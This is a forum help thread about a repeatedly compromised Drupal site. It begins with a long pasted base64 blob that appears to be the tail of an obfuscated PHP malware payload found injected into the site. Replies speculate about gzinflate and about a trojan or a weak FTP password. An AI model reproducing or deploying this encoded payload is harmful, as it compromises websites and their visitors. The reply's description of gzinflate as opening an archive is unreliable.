pAX7HRLAKBSfoEDKtWq6VGs6zoTCHftLv+LOxLWdglEEPsSzOwP8d3cPJQX89CTRBINlF+fQbu1bHvuHm4b2ThJgiBG7HfmEl5LktuZtN9pjAD6pszUH8/Gdl5uG9ldiYAaGTfmonbzaX7djZuN0b47VkcnwwmQZiH/k4mywmECeR3ZiDftcehPexipIRs/Hez8CsoBujvzkC/DbvufOTNRhZyAUPUl5qNGdi3QMWZQXszc45KIJxFzVlzdN3uzcSeOUclEGGPz9FIOmny6Y1t+lni6QzSzymZ7969g8J5CcPiR+I5V/Zmid4lEr15kncRwas17bE38VlW22A7FTgXWHZuNT7nsnP9EpYdfeFxMNx7ZvuHlBX8zXHgxuVyYJc/s5jFAf664t8cA25+MgPEHoUHmIzvCfRNQQGUMdOPjr2LoIcVD2v0tJpIIf0kkYZCIZFEc4nSjmC6BToCPsooT3zWcnkPUCb/SObZiLAH5OwsNEpMU2dwtEngamaFZ4k/5exziixn/T3Ay6ZmwLrwDd9fGQ1s/eX6WDzAuGk+3+TfTYU7o2q2tvdEDVa0bcvCnGXjv5JjIyEFS9hHlFVgl5KZMyJ1vBrw6LZUlbS56S8ridcKR/x5JfmNzDTq/eh4WXJb0UoLDxejVPtNGQ1NWrJ46w9ymznI5GOFOkLtlUC6LZP0MZcbWOXqTcE0mB5Zk6nXHeV9G/UqX5QQvdSYkaYBmhI1fiuRnZtbqNsrD/TWVljslctErkiucHh6tFArEVKQ19gDiYlcTI6B0xuPyUKQphfpBakSvUAvgI8jJktAGpaQ/vAj2fzOZOS8m9gldRmkhf7w0QCi8so7H+DQKf8k8YLmiXYnQ3i3U8fQ+2UN3by15dEIDnisFN2gJd/c/CAuKKinmtRLroylXnSSN30YK8QOg6J7DBnmLxRTuG7k2Jpgg67tmtFxGy+ZpWxN2fYyDkC2UILArbKcvWiGJOM0CAoXX2KgSbdMy1jcaIA9BjQIcrTxdiAWNqyGzkLVEqXP42tLN8mUrNGU8SKbBkCkpm1lBwa9p9j1TjOJEWNaq6d5gAtIKVNagLi4bzBCaFvGsoFXZ/CxKp5PJoWVmKSTQ5IdGK0DY3E+OaO5XIKBfR4eQXHVmfw0Eo98oW4lge/Jl2AStAgCMd47smdpCb743pS+NOhaQNZbeREsP2YRuPX6F+slTfKkeykliBbqJv0+yHmoABk2jwQokl//vcnKFIN9H3kurO+ebwXMG7lnFyeoF8yjpxfkk9MzA6DIRopAyxnhq0sn9sWJAek8jxp8czGXnL4DayUXrEAW6CVEGPp8mA65JYRHNr16kj2EZplDiYS4jTx5OEfHrOopTvFCpn5PUj5pzA+4h3TCE60Ja1xJI82GgKcOCHebDkJwggGz8cBlYIdMhLLn1NXSx/IFkvPausAfaCUTOVHZ0fQMadAXGghQYcn4ux4o6KSugcaPJ2D4PvOJ7YelODKP3rsv328uN8q1VNY0P+s0J2uQj3CQj3CQj3Caj3Caj3CqIawsVe6k9GO8Ki+M0Mi2SqPShC0SrvRM8Y5yWky9U6zzVObpsbivKh9ZfOYMekJ8EjqbOHqJ3g8XTrRYBOeF9NGLfKDs8AXloiOB2FVIh2GiBdrFzzlcJ4B6B55nVViha6LaEjszUb66undTd+UFJcK6lOEvhU8sAL5asb3CdvnuQ+wPKix9FASloVos/HB1Xe4j+MqS3pvQ9Wfqp7xGyVMgPA31g9AM6cHjkvTdT2wer8hJI+8pY5JNulcxtb2MstYwiCc0AwlhoQc7Xk5ArViLxXoX7h0kMLAi/bouyQd0QsFXMsUFay4eWrrzixARKMciIVFCRQuaXzPKoGNnuWbU6OAIC4qxii6HvbCUlEzlSvVG5QYULasNlZoP0Njy/ehclsQRVAzJXPhyxdKkiw1c+cPXWEix0LXNPMXRmql+WOWZWmd/JnB/NnCkslIPSm8lfnsPQ1CIi33XG41sF6ZGzIXp5krSRUmpRom1Ri6EbGv1+UZbSkT/UFDTRP2Remff8IxDEl/pJY+vsHhrPhc9tVKin+ain+ajf+07ob0Y+ae5+E+z8Ns/gmAC3MqxqbsSOXQtyLNBNs8Gn8KzGPpMng0ui2eDbJ4N5vNMWFki1r32fNc6D+um2aybXhLrptmsm14W66bZrJuei3UxV7BMFwpcopWE4QfHrL6i4hnEF+PoRADkdS79YkEXtEsypXZsw757hb2ElYaXA41aWbfEKqI7hebor7qalzzUz3BZ0zw/pM0gqd5OxnhLwRCqIf82RO8suUBqju/oz7G7X+SF6Hj9kAfLE0pmVoH9Yjgcd8QzTFKN4QXkw9UWdwWx7CDkdrxMPMLFsiW1hKvoqNPhRWxL+IPPo6CiVV0TNZIhT2t4MugEWkRpgWS8kFypySqcWR+vC1dnrtz3vPEZdwqaRx+traBvUOE0qZitTLH8Rn1Me4l3X9p+TE56wl7MJOsy37BJ+YUpehC7dAtVzmBz/by5Q5naRuFX0rR4kKEotJB4FJ3b4dTGR6m9KtqMltYPOv7Q674lS13kaazuAMjKsF8T3m1pxeKkrAX3SMUK4ZgSoUIAFw6JaF8XRLbrmgBpac7dkUt3fJ85VLtMUIBJ+NCfaG+ZY0xWpHCVnXl90O9RJuLRDV4fhyEwHIK8I1e0SOgUPNdCV/s2i0fQwjxJgVWWzEbKh2fkXIjYgbhhPFNsIju9M78D+igFnIScimEZ5DGqugYhO+FpqOvKaDYiHGhejUL3+Acjo8KjKF9rStkMGKj4PdbEPZmEbTZaKSmqDFdZNip0s4NPNOWgjIUWl8zoTlh/zFQVCVTdixLL6YNHMZHzudyKuZZGPpGqr7RuMlr6yYNkGLZWfJZmgI+zzMALqMdDK2negyTOLmAWZ1WzkW3KwxEQ48tFjM7nM9hwZkUubOuAyDXxegIZgKpIxmIGKsHHuGFKsF0xXHaT0jlQ3lLKLIsRzG/NBVgcGXCTP48KhBGOYFeOSx1PTpt6RL5+PkR1UMh19MaW1z2iSTQ9QulegvHGp7RFRTCguh7LjzDThQfUbTwxZ3quF9iifHJw64JQNgZwJI8/ki7ESCQTZwGlvA1ged5VlHr94cRxac1VB1oF7rIeJM/PTizpOl6vv4IdMwLhbloxDwtQCV30CGT7Bt5CNQ4TSLV83pZgVhF0nZ1ZgKyY6QLR+kf9rlY/SSSjPn0QuauLlY5LziQ23lgyN6NA5yJS6/Lozovx7MnWUxk2S7n7S9CLwEq9+YSPTNUAJuPace9iHlkKJ2cKk7Soycz1Jy+ivIiak1YqCSFEaowqqpfrh7xeDUkETn7CeLISnfixRK7wFD3R+RxdaYraym8pPUhcU3qgXSQ6kdeP5E2lB4mrSg+0m0R64bm3lRK1zL6ulF1LZtuFTSnWdn2Q4fGfNnCQzYmZxVkOSJNjJjksktNpJqAcbTqcmqkzIfURkZygKUARvFFxJ2veRVMDz4JNfu/IyMjbhVGWl/fcs5z+mZabuDcXK5y4LqcC4Oll1E2zrNpWyban55K1EkPGScslfi5REDnZTJEbFcXYatq35qEoeJwspalwenG6A2OStIkl0zVH2aYzdpGwh9qB9SdclYuHCT2uJchvE/n3DbRJmGiUmHHVTu+FwvEhhUA8U6sAOmw10GFLLLRQqlxFD65r12LrAbHQoethx1KiFZzDvxkWOfHxMPv2IVfEkX4eoU92uej4k+xRNOEDMz3p0SnF7FLww3J2USFX5hcU0iBdMD2E1Z1cfdHOVR06vo0vPdtZ9KulPU9ryALmJcoxEZVQkzpD2x/oQFwsV7JYmOZVXl0F4ExKEELaPr5TrKs6NJb1/Bx9i/LydS3KztOzOGy2jqWCHsf0LckjVLnMeO/RuDPVeOM6WJYKxjfR6qZibImMO/WQNQISpOXrRF+XEnmeWnq0VNhYLw2dkVNSiZVbDRkIE4pOkEZtqnqKyIkVz5E7Uso7ieedR7tMaD7R4vK5xVAsfCk09DLCO0MhT8qgVIu4lpqhX8YUn//gx7xdgK7tiWSZrY11it3bxvNI3MpKgJYqGN87qGRJnQyvfblxkmGmXAJX94UFhCy7xiFnL5M/+jYoxZ7Ypujvv9GiBendXe5WTtfbc6bahbnQn8kEK92+vgK1LSdM5erQ3tyJFjEne76RDwDfn5oqkHN6s1aUzTa+WehNaXJLT70GaKn8IjW9mCrRj5XwMkpoj0oXM29fQjuWDulZeZNOH6SA4LsdfZ9u7l8/TNsALtzR8yJnZHf2ObozJ57GSTnxJEBqNUUDrzxUbMcPG7OMmPy0ZP8w1mw3kApix3RduesA/adaTagbF6zKsdR3UvXnOZqecGcNZcVJbt21jpb1Jgi9+CqamtPzunH2nJ43SPRBsBFFG/+SZFvedITndJ9C+vonkM4P1/669P8Y0Q+lk4NqAdOVtkFZ2Gyl70wWNVnFNzsLm6v0fc48U9VHbkZf84ZjxyVvWfQNIIM594pKbA+1vVtF50MlQWwl1uBKjKZYcI7oYOCZE9BRaXQqIMwcMdiaIZx90UXDqJViZdQm+ZqeLIgoEywvUl6OnSzQGRMPOh8PKK8Hjm8ItzCM9r5A0Pgbeka7sZI6gJOyEyQyZi3ksKap/XMd68hJUJqU1DUW4esW0KDIDLZF56qxnTDtztXtF1nSQr3kRARD4kCxI9Z6DJce6Eo6oBz58rICun2PvODItCBZPgd1YPjISrp9wJiMqUetkQ8YAu8CO5RTGBc09PmcBFrDTkyfOdHtJ/o+mqDTZ2z0uHa5uoTGOSokTssA7l4bS8f2/nlh9op81Stec6xyTZwJ0q4cKZILupWefnprYmvz31Ajrp6n/Iy2qliD9GVeuJB09zZjcT12+fVXyFBnvlnnuwthbsQwvxwFOu570gQuRrB+79bEG6qxu7B0ii2vQb1Gzw958XVZXXWNoYtBC2eYWkkFloo8ZO4bCpX0cCMXE3sBvPyqQhwtT8vAyi8mkLtxNmp5N3dumKE1HgKJXNDGCRzp0EPaQTnGTo2FMRT+Dph+Hv+Wncc71R61I+7gEg7xOqbXxWO1jogRGsjT4sW9X4hmwKXNVi0aFxeI5KNOdEv7PjnFZNd9LpeZdF3kbAL0aKZorFn51CgL5uJeNQu41XwxvxrpDDnDsybjTmU+Gxalu3kzRrBgTKpnoyVuEbI1es/rDqSP6rg/kGom9pP8ckkeQYgufeMPU8991Y+Y9hkdhC7fKUjyMtsrSLH9Ym5B/VhgQAzZioNNvPFHd35gI5LwO0YVuNDnQQJxP2rkx4KUnspzo7/meOPwCyWZDjl5sQLJndTyQFXH+3uckEWwY3de5o44GU3tXFv6nsxsXlIs1YkIkIq3FCly6qyYiVcK/CI4P2IhCcI/Go/3nj+DZQB5aZQres7ej3uQAQMxkb62vb4BGUhmImd9+/XWs+3VdciV2+tEiY31J4iUj7E47MazjT3EG7nwqpv2vvQOia9y0Z3IaPGWDllYejnj9TW67ISDJ7Jzah45IjgbbNbznm+TaHKvSsXiSUT7HmQ/7nuUO6qY2n+dAQpsyD4v/4S4voVQvH0XMzyKZv6c3rtl79lUGA4UR6SvqoEULcIPkroKf9mhhCoiDo0qSt5lZo7HwE0KmVmna3VV0H5sc2jkQEF7B+ERBvFLjojs8rh6eHhr2RtBZWEIHY38adHgE6KeD7gDo2VoahXoJOKbHi+VGBSd9Yn20/xTQnHs29k6Do08ym2lcfDJnVBiYFMX2omQr9q2u+C30mUT0YWz6OViIW4LsJwT9QYfN2OwZdYYn7LAc2FT+c0m/bSYuAi3zJr2sMWGpj9wRtXQG8cTuh5swobxNNrfx5Pw/p1ISYe9h245AhAXwTpRNqsZmvOMvlfgHMhkV4SI284iqZSNIcVEpeoBn6TTt3qFqB9iJFRh7eQXW+jm0NXoPgIfo5hzRYyvjEipfHfHbw7EgqMypl/uyEQg7uMKFPxiRxIHKCKpscDFvLginr5ZEF2Djl5aoMu4rICQPHiDvIerbgzjNSQe9EQEd43dTVHFxNVafN/YxqsuiD4GxS86o1FTVRZTsOeH/J0Xr7VfjJc8R5zWOFxeBaRnxMueI57rRWK5nieO699BDNf0BkQOBW0XcqcR7UKWbtIuJE8ARzuQ7Ctx9Eh9+v6cybqedzzEh0Yx+pwzNke2a+jGZC498x8wvdj7pUc2WZiNpiEs0vQA6UUeMoVmxZ4yFYi0Ck64KRafNOWshUa2jSUjstIaXH8ldWJ5ma3xayrCCGOzZWFp11/LTVV7c0atK9qWAvBvUAxtgVWf5jTLF7Kh412q3HKGJYecwZ/24csqbTlb7P5KHJLHvZIRGIcq+N7NhsIyoypxkUQVbWbNwdw5Lne2alspLwZfgKvCkPpXZWs8miUho5KROx4kQhPMwBYeeW4QqVgpA2x6skN5dI0Q7z5n5zcOSSIoi+dHoC2KQ/hFO5LLGhIkIvwR/P57kisgPy86GikQ1ieNRhFN8HPMcy3El5zvS3cVNgobmNH9yqCUgUaGyIvGD5PWoygA1XlG1K5svRxQkr9SDl+4b17SNd/8vhGNg2XcYBtba3tvdjZgdZy4ISyPfkjkVDGw5UKdKK6fX1Yn0jsqAjK6Y20splIZLyUxuL5rtU2tsEVSIslqYrNc8ITSIIJQ/X1M44uv0uoNrE+aw/z5r88xhTnm9GKdg2fOIZfBTXrnGxqfwFiyrH4iZ9Mj/9JYy6fZorzNJaEfrae0I/08vaBr9P9OJucj79OnphvMGAJZavAFZ9YjL2sRu/D0gabPnjwLNX7gfbbZ0/8SrPuEMS/Y3LzA4G9c8oi/e7cxo9uztqfV6n7iGSym85YexCJJoTlJb4/WZjtJF82uN0mdG2nuzfcmKwwPUDbW2cM3PJJrd+X56vrWxh4/BOquMDS9s8NqNb1X1vqp3vWsM0jAnYsQcOLQ2DWDkE6NY5bp/w8='))) ?>

I have no idea what this long string of code does though.

vm’s picture

I think gzinflate is a command to open an archive. Which is likely why the situation keeps coming back.

vm’s picture

and again, I'd check the machine you are using to connect to your server as there could be a trojan in there as there was with this user who was experiencing the same issue : http://drupal.org/node/671178#new

huijing’s picture

i'm using mcafee and it's up-to-date and scanned regularly. the latest scan did not reveal any viruses or trojans. although the first time my site got hit, the ftp password (inherited from the previous web master, and to my discredit, did not bother to change) was a crappy one. so perhaps the files got inserted then.